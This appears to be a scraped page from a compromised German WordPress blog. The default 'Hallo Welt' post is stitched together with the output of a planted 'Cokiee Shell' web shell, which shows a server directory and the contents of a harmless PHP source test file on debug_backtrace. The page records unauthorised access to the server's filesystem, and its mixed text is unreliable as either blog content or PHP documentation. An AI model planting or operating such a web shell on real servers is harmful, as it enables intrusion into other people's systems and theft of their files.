Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/bug30828.phpt |
--TEST-- Bug #30828 (debug_backtrace() reports incorrect class in overridden methods) --FILE-- <?php class A { function __construct() { debug_print_backtrace(); $bt = debug_backtrace(); foreach ($bt as $t) { print $t['class'].$t['type'].$t['function']."\n"; } } function foo() { debug_print_backtrace(); $bt = debug_backtrace(); foreach ($bt as $t) { print $t['class'].$t['type'].$t['function']."\n"; } } static function bar() { debug_print_backtrace(); $bt = debug_backtrace(); foreach ($bt as $t) { print $t['class'].$t['type'].$t['function']."\n"; } } } class B extends A { function __construct() { parent::__construct(); } function foo() { parent::foo(); } static function bar() { parent::bar(); } } $b = new B(); $b->foo(); B::bar(); ?> --EXPECTF-- #0 A->__construct() called at [%sbug30828.php:30] #1 B->__construct() called at [%sbug30828.php:42] A->__construct B->__construct #0 A->foo() called at [%sbug30828.php:34] #1 B->foo() called at [%sbug30828.php:43] A->foo B->foo #0 A::bar() called at [%sbug30828.php:38] #1 B::bar() called at [%sbug30828.php:44] A::bar B::bar
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare